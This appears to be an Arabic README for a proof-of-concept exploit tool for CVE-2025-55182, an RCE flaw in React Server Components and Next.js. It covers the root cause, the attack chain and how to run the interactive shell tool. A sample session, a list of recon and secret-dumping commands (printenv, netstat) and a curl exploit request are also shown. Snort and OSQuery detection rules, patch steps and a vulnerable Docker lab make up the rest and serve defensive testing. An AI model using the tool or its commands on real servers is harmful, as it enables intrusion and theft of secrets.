إثبات المفهوم لاستغلال CVE-2025-55182، وهو ثغرة تنفيذ تعليمات برمجية عن بعد (RCE) خطيرة غير مصادق عليها في مكونات خادم React. يتضمن استغلال Python آلي، تحليل تقني، قواعد كشف، وإعداد بيئة مختبر لاختبارات أمنية مرخصة.
استغلال شامل لإثبات المفهوم ومورد تعليمي لـ CVE-2025-55182، وهو ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد تؤثر على مكونات خادم React (React Server Components) بدرجة CVSS تبلغ 10.0.
لأغراض التعليم والاختبار المصرح به فقط
هذه الأداة مقدمة لأغراض تعليمية واختبار أمني مصرح به فقط. الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني بموجب قوانين مختلفة بما في ذلك قانون الاحتيال وإساءة استخدام الحاسوب (CFAA) في الولايات المتحدة وتشريعات مماثلة في جميع أنحاء العالم.
يجب عليك:
المؤلف والمساهمون:
باستخدام هذه الأداة، فإنك تقر بأنك تفهم وتوافق على هذه الشروط.
React2Shell هي ثغرة حرجة تم اكتشافها في ديسمبر 2025 تؤثر على مكونات خادم React (RSC) والأطر التي تنفذها، وخاصة Next.js. تسمح الثغرة بـ تنفيذ تعليمات برمجية عن بُعد بدون مصادقة من خلال طلب HTTP واحد معد بعناية.
يحتوي هذا المستودع على:
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2025-55182 |
| درجة CVSS | 10.0 (حرجة) |
| متجه الهجوم | شبكة |
| تعقيد الهجوم | منخفض |
| الصلاحيات المطلوبة | لا شيء |
| تفاعل المستخدم | لا شيء |
| التأثير | اختراق كامل للنظام (RCE) |
| تاريخ الإفصاح | ديسمبر 2025 |
create-next-app قابلة للاستغلالالإصدارات الضعيفة:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0الإصدارات المصححة:
الإصدارات الضعيفة:
الإصدارات المصححة:
توجد الثغرة في دالة requireModule داخل منطق إزالة التسلسل لمكونات خادم React:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
return moduleExports[metadata[2]]; // VULNERABLE LINE - Prototype chain traversal
}
يسمح العطل للمهاجمين باجتياز سلسلة النموذج الأولي (prototype chain) لجافا سكريبت من خلال بروتوكول React Flight، والوصول إلى منشئ Function عبر خصائص مثل constructor.constructor، مما يتيح تنفيذ تعليمات برمجية عشوائية.
__proto__ لإنشاء هيكل مرجعي ذاتيconstructor.constructor للوصول إلى Function()child_process.execSync()┌─────────────────────────────────────────────────────────────┐
│ يرسل المهاجم بيانات نموذج متعددة الأجزاء مع رأس Next-Action │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ يقوم الخادم بإزالة تسلسل الحمولة عبر بروتوكول React Flight │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ تتم معالجة كائن قطعة مزيف مع تلوث __proto__ │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ يستدعي معالج Blob الدالة _formData.get(_prefix + id) │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ يحل إلى Function("malicious_code") │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ يتم تنفيذ تعليمات برمجية عشوائية بصلاحيات عملية Node.js │
└─────────────────────────────────────────────────────────────┘
requests# استنساخ المستودع
git clone https://github.com/yourusername/react2shell-poc.git
cd react2shell-poc
# تثبيت التبعيات
pip install -r requirements.txt
# جعل السكربت قابلاً للتنفيذ (لينكس/ماك)
chmod +x react2shell.py
requests>=2.31.0
urllib3>=2.0.0
python3 react2shell.py
╔═══════════════════════════════════════════════════════════╗
║ React2Shell (CVE-2025-55182) PoC ║
║ CVSS 10.0 - Critical RCE ║
║ ║
║ المتأثر: React 19.0.0, 19.1.0, 19.1.1, 19.2.0 ║
║ Next.js ≥14.3.0-canary.77, 15.x, 16.x ║
║ ║
║ Cerberus Secure - للاستخدام المختبري فقط ║
╚═══════════════════════════════════════════════════════════╝
[?] أدخل معلومات الهدف:
Host (مثل localhost أو 192.168.1.100): localhost
Port (مثل 3000): 3000
[React2Shell]> id
[*] الهدف: http://localhost:3000/
[*] الأمر: id
[*] بناء حمولة الاستغلال...
[*] إرسال طلب الاستغلال...
[+] رمز حالة الاستجابة: 200
[*] تحليل الاستجابة...
╔═══════════════════════════════════════════════════════════╗
║ مخرجات الأمر ║
╚═══════════════════════════════════════════════════════════╝
uid=1000(node) gid=1000(node) groups=1000(node)
[React2Shell]> whoami
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> exit
# استطلاع النظام
[React2Shell]> id
[React2Shell]> whoami
[React2Shell]> uname -a
[React2Shell]> cat /etc/os-release
# استكشاف نظام الملفات
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> cat package.json
# متغيرات البيئة (غالبًا تحتوي على أسرار)
[React2Shell]> printenv
[React2Shell]> echo $PATH
# معلومات الشبكة
[React2Shell]> ifconfig
[React2Shell]> netstat -tulpn
| الأمر | الوصف |
|---|---|
<أي أمر شل> | تنفيذ أمر على الهدف |
help | عرض رسالة المساعدة |
exit / quit / q | الخروج من الأداة |
انشر قاعدة Snort هذه للكشف عن محاولات الاستغلال:
alert http any any -> $LAN_NETWORK any (
msg:"محاولة محتملة لـ Next.js React2Shell / CVE-2025-55182";
flow:to_server,established;
content:"Next-Action"; http_header; nocase;
content:"multipart/form-data"; http_header; nocase;
pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
classtype:web-application-attack;
sid:6655001;
rev:1;
)
منطق الكشف:
Next-Action (خاص بـ RSC)multipart/form-dataname="0"، status: "resolved_model"، then: "$1:__proto__:then"استخدم قاعدة OSQuery هذه لفحص إصدارات الحزم الضعيفة:
{
"queries": {
"detect_react2shell_vulnerable_packages": {
"query": "SELECT name, version, path FROM npm_packages WHERE (name='react-server-dom-parcel' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0')) OR (name='react-server-dom-turbopack' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0')) OR (name='react-server-dom-webpack' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0'));",
"interval": 3600,
"description": "يكتشف الإصدارات الضعيفة من حزم مكونات React Server المتأثرة بـ CVE-2025-55182",
"platform": "linux,windows,macos",
"version": "1.0"
}
}
}
الفوائد:
ابحث عن هذه الأنماط في سجلات تطبيقك:
- طلبات HTTP POST مع رأس "Next-Action"
- طلبات غير عادية متعددة الأجزاء إلى جذر التطبيق
- رسائل خطأ تحتوي على "NEXT_REDIRECT" بقيم digest غير متوقعة
- ارتفاع في أخطاء 500 مع تتبعات مكدس متعلقة بـ React
- استحداث عمليات فرعية من Node.js (execSync, spawn, exec)
# التحقق من الإصدارات الحالية
npm list react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack
# تحديث React إلى الإصدار المصحح
npm install [email protected] [email protected]
# تحديث Next.js إلى أحدث إصدار مصحح
npm install next@latest
# التحقق من التحديثات
npm list react react-dom next
# مسح ذاكرة التخزين المؤقت وإعادة البناء
rm -rf .next node_modules package-lock.json
npm install
npm run build
حظر الأنماط المشبوهة:
- الطلبات التي تحتوي على رأس "Next-Action" من مصادر غير موثوقة
- بيانات نموذج متعددة الأجزاء بهياكل JSON مشبوهة
- الطلبات المطابقة لأنماط توقيع الاستغلال
# مثال على سير عمل GitHub Actions
name: الفحص الأمني
on: [push, pull_request]
jobs:
dependency-check:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: التحقق من وجود حزم React ضعيفة
run: |
npm audit --audit-level=critical
npm list react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack
إعداد تنبيهات لـ:
# إنشاء تطبيق Next.js جديد بإصدار ضعيف
npx [email protected] vulnerable-app
cd vulnerable-app
# تثبيت إصدار React ضعيف
npm install [email protected] [email protected]
# بدء خادم التطوير
npm run dev
إنشاء Dockerfile:
FROM node:18-alpine
WORKDIR /app
# إنشاء تطبيق Next.js أساسي
RUN npx [email protected] vulnerable-app --typescript --tailwind --app --no-src-dir
WORKDIR /app/vulnerable-app
# تثبيت إصدارات React الضعيفة
RUN npm install [email protected] [email protected]
EXPOSE 3000
CMD ["npm", "run", "dev"]
البناء والتشغيل:
docker build -t react2shell-lab .
docker run -p 3000:3000 react2shell-lab
إنشاء docker-compose.yml:
version: '3.8'
services:
vulnerable-app:
build: .
ports:
- "3000:3000"
environment:
- NODE_ENV=development
volumes:
- ./app:/app/vulnerable-app
التشغيل:
docker-compose up -d
اختبر باستخدام curl:
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary @exploit_payload.txt
المساهمات مرحب بها! يرجى اتباع هذه الإرشادات:
git checkout -b feature/improvement)git commit -am 'إضافة طريقة كشف جديدة')git push origin feature/improvement)هذا المشروع مرخص بموجب ترخيص MIT - راجع ملف LICENSE للحصول على التفاصيل.
Tinashe
Cerberus Secure هي قسم الأمن السيبراني لـ iConnect SA، المتخصص في:
تم الإفصاح عن هذه الثغرة بمسؤولية من قبل باحثي الأمن لفريق React. تم إصدار إثبات المفهوم هذا بعد:
الجدول الزمني:
تذكر: استخدم هذه الأداة بمسؤولية وفقط على الأنظمة المصرح لك باختبارها.
للاستفسارات أو المخاوف أو المشكلات الأمنية المتعلقة بهذا المستودع، يرجى فتح مشكلة أو الاتصال بالمشرف مباشرة.